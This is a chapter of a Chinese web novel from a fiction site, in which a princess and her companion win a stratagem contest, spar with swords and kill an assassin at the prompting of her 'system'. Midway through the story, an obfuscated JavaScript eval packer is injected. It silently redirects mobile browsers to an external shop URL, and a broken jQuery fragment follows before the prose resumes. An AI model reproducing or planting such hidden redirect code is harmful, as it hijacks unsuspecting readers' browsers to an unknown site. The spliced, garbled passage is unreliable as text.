文趣网 > 都市小说 > 反派有活下来的风险吗? > 27. 挖土篇:第一次突破。
    “若你是一位主上,手下有三名军功赫赫的大将于宴会上争功劳,但个个因己功劳骄傲自满,为避免以后不必要的麻烦与风险,您该如何剔除这三个麻烦。”

    陈梓音挑眉翻手示意,得意地在如坐针毡的二人面前一点点斟酒。

    轻抿几口作享受,她故意将铜铃往前推至触及不到之处,任谁都能看出她这是要让着对面的。

    “这……小人先前在哪儿看到过的……”

    “答啊,怎得不答了,不是说自己看过很多书么,难不成看得净是些话本,亦或是那种图吧?那确实看得比——”

    她被仙草冻堵住嘴,立刻把话头抛掷脑后只顾着嚼咽。

    “本宫都给你这么长时间想了,就算你场外援助机会用光了,本宫也没阻止你去问别人,怎么还是一个都没问出来,那小鱼你来。”

    按铃动作不断,周遭百姓顿时没了声,皆是在全神贯注等吴渔回答。

    “拿两个桃交予他们三人比功劳,谁功劳大就将桃给谁,既是三个不谦虚的,必会因主上的奖赏争抢好胜,而这时便是突破口。”

    “其中有两人会认为自己的功劳比另外一人小,这时将士傲骨作祟,两人让桃自刎,余下那人也只会认为自己因争抢功劳名利令多年征战兄弟命丧于面前,自愧不如并留下桃随他们同去,羞愧自刎致使他们的家人亦无法向主上追责,这便是典故‘二桃杀三士’,乃阳谋之策。”

    玻璃碎裂之声乍响。

    吴立懊恼摸头,赵平拂袖而去。

    “吴大人这……也太生猛了吧,巧用将士最骄傲之处挑战人心,书肯定看了不少,不然年纪轻轻如何当得了朝廷重臣,扫清那批奸臣的暗卫……看来得多叫俺家那孩子念书了。”

    “这则俺看过,最经典的阳谋之一。如此说来吴公子也不怎么样,这学堂会教授的东西竟都报不上来,平日又是如何同心思诡谲的商人周旋的,想必那大单子里有不小水分。”

    “是兄长学识浅薄,这场比试小人认输,先前对弟弟口出狂言是兄长不对,在此闹笑话,向在座诸位道个歉。”吴立脸色涨红,张了张嘴无言以对只得低头抱拳,“公主殿下,先前是小人莽撞,还请公主殿下高抬贵手,放小人一马。”

    陈梓音“切”了一声,起身要走却被人唤回。

    佩剑抵于喉结处,她蹙眉想学吴渔挽剑花收手却卡了半天。

    面前人双手举起,陪笑道:“公主殿下与吴大人技高一筹,本官着实佩服,不过本官看百姓们似乎想让各位再来上一场,三局两胜凑满三场,不知二位意下如何,若无此打算,本官可就遣吴公子回铺子了。”

    “真是可惜,本官本欲再让乡亲父老们看看吴大人的威风,如今……”

    “臣并未——”

    “比就比,谁怕谁,本宫看你们是怕输给本宫家的小鱼吧!”

    意气用事之法,不可取。

    ————

    “那个……小鱼啊,我真不是故意的。”

    陈梓音战战兢兢像只小尾巴一样跟在吴渔身后回客栈,丝毫不关心路越走越偏。

    小嘴自清海楼回来就没歇下过,她如此都不见他应上一句,心底那叫一个慌乱。

    “大不了,我去替你比。你再生气,我就真——”

    “阿梓我没生气,只是方才想些事情出了神。”

    她走到吴渔前头停下,踮起脚去瞪他,似乎因散步消解了部分茶的功效,灵机一动:“你先前咬我的事情还未让我报仇报回来,但我现在想到了一个好点子,就是不知你答不答应。”

    吴渔仍然心不在焉,没将她的话放心上:“阿梓,你说兄长为何要回铺子?”

    “清海楼比试比完出来都已亥时,他不回家反而应赵平之声回铺子是为何,无非是有重要之物在铺子要拿,亦或是什么重要之人在等他,但南城原是有亥时宵禁的,今日因我们在才开放时限,按规矩每家每户都需清点人数避免缺一少一,但他这样做,属实是给父亲母亲添乱,也不知赵平打了什么鬼主意。”

    陈梓音眼珠子咕噜一转,猜测道:“我们今天这样戏耍赵平,我甚至还对他毫不留情破口大骂,想必他许是会记仇给咱们使绊子,那咱们就如他所愿做些平常事吸引他的注意力,让他故意上钩,咱们再顺藤摸瓜寻线索。”

    用血红佩剑换走吴渔腰间老的那把,她再次尝试甩剑花顿来顿去,像是把四肢重新拆解过那般。

    指尖自老剑刃上轻压连道伤痕都未显现,她又换个目标做了同样的事,鲜血如同流水般汩汩溢出。

    她着急忙慌用手帕包起来,脾气比先前消散了不少。

    私以为是夜晚回客栈走路代谢的缘故,她思索道:“所以先别管那事了,现在最重要的是先把我身上的药草效果给解决,我想跟你学剑,正好通过汗液把东西排出来,你还能趁机熟悉熟悉新剑,你说怎么样?”

    吴渔视线始终定在她卷成个包子般的手上,缓缓揭开手帕察觉伤口结痂才卸下担忧。

    点头应答,他摆出起剑架势对她躬身行礼。

    陈梓音有样学样拿着吴渔换回来的血红佩剑行同样之礼,方欲抬头眼前人已消失不见。

    头颈不自觉朝右侧仰,她咽了咽口水硬是躲开他的偷袭。

    “我是让你来教我练剑的,不是让你来劈了我的,伤着了可要你负责!”

    她才接连闪过几个简单的横劈直砍就张口直喘,感觉肺部被灼烧。

    “你收着点,不然我……我可就动手了!”

    说时迟那时快,她被剑刃反光刺得睁不开眼。

    她照搬武侠古装剧动作紧攥剑柄反手一挡,未料自己反应如此迅猛。

    起劲勾起对面剑刃向下,她趁吴渔夸赞之时圈走那柄老剑扔在地上。

    见状乘胜追击,陈梓音横踢一脚转移吴渔注意。

    而后大喊着“哇呀呀呀呀”,她健步如飞举剑直冲。

    若是有人看到这画面,定会以为她在追杀什么仇人……

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790505|210369||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不给吴渔留丝毫逃脱空间,她双手握剑一个起跳向下劈去:“啊哈哈哈你躲不掉了吧,看我超级无敌霹雳雷霆斩。”

    剑尖摩擦石板喇出刺耳低鸣,她身子止不住抖,虎口亦被震得发酸。

    举目四看挥剑转圈先将自己弄晕,她顺着头顶轻点停下脚步,摇摇晃晃摆出个帅气的姿势迎“敌”。

    她手背蹭上薄茧,仰头时唇瓣黏上身后人微乱发丝。

    跟随他的动作起势,她一时头顶冒烟,脑中循环播放方才中二地大喊招式的画面,与这暧昧情景形成鲜明对比。

    “阿梓从哪儿寻来的工匠,这剑真心不错,用得很顺手,我该如何谢谢阿梓,要不我要去寻个工匠给阿梓造把剑防身用,不过有我在想必那些人也近不了身。”

    陈梓音蹲身从吴渔怀中脱离,弯腰捡起地上佩剑使了使:“其实你把这柄老剑给我也不错,父皇赠予的也差不到哪儿去,就是不知为何钝了点,要不你找人替我再磨一磨?不过——还是等把人先绑起来再说吧。”

    单手大力出奇迹抄起木凳就将屋顶黑影砸下来,她于吴渔赞赏中频频点头。

    只留下句“去去就回,你兜底”,她以平日无从所有的速度朝黑影狂奔,作势要用黑影发泄完药草功效。

    黑影转身硬扛她用蛮力劈来的这一剑,脚步凌乱身形不稳直接撞入高大灌丛之中。

    以剑撑地而起,他划平灌丛隐入草芥迷阵。

    她愈战愈勇,对着周遭一通乱刺。

    负手持剑接下飞刃,她对准目标将老剑如标枪那样投掷出去,竟真把人钉于树干上。

    陈梓音走去想要拔回老剑,只动过一寸便能听闻血肉切割与刺客的低吟。

    药草引起的狂躁逝去,她猛然收手。

    “小鱼……我好像一时上头了,怎么办,我不会真要成什么大魔头了吧?”

    【宿主别怀疑自己,你的人设就是个大魔头,最好这次给自己的善良做个了断,否则本系统怕你以后控制不住要挨本系统电。】

    “那……听你的吧,我试试。”

    她别走欲上前替她“行刑”的吴渔,胆战心惊上前重新握住剑柄。

    眼睁睁看着刺客嘴角流出鲜血,她一点点往外挪剑。

    耳尖的陈梓音发现刺客手上亮出一记飞刃,她下意识踢开,猛攥剑柄往里一扎再立刻拔出。

    血液飞溅到她的脸上也只是抬手抹过,甩掉老剑上的脏血收回剑鞘。

    身后响起清晰掌声,她收敛面上冷酷。

    依依不舍交还老剑,她心中的某样东西似乎碎裂开了,如同被另一样东西替代。

    “你说我这样是不是还是有点吓人的,虽说我过去是个跋扈公主没错,但像今日这般动手还是头一回,要不你处理掉吧,就当是你做的,我还得再缓缓。”

    吴渔并未应答,到不远处浸湿手帕帮她擦拭面颊。

    “阿梓,虽然不该如此,但……”

    “阿梓,会变得和我一样吗?”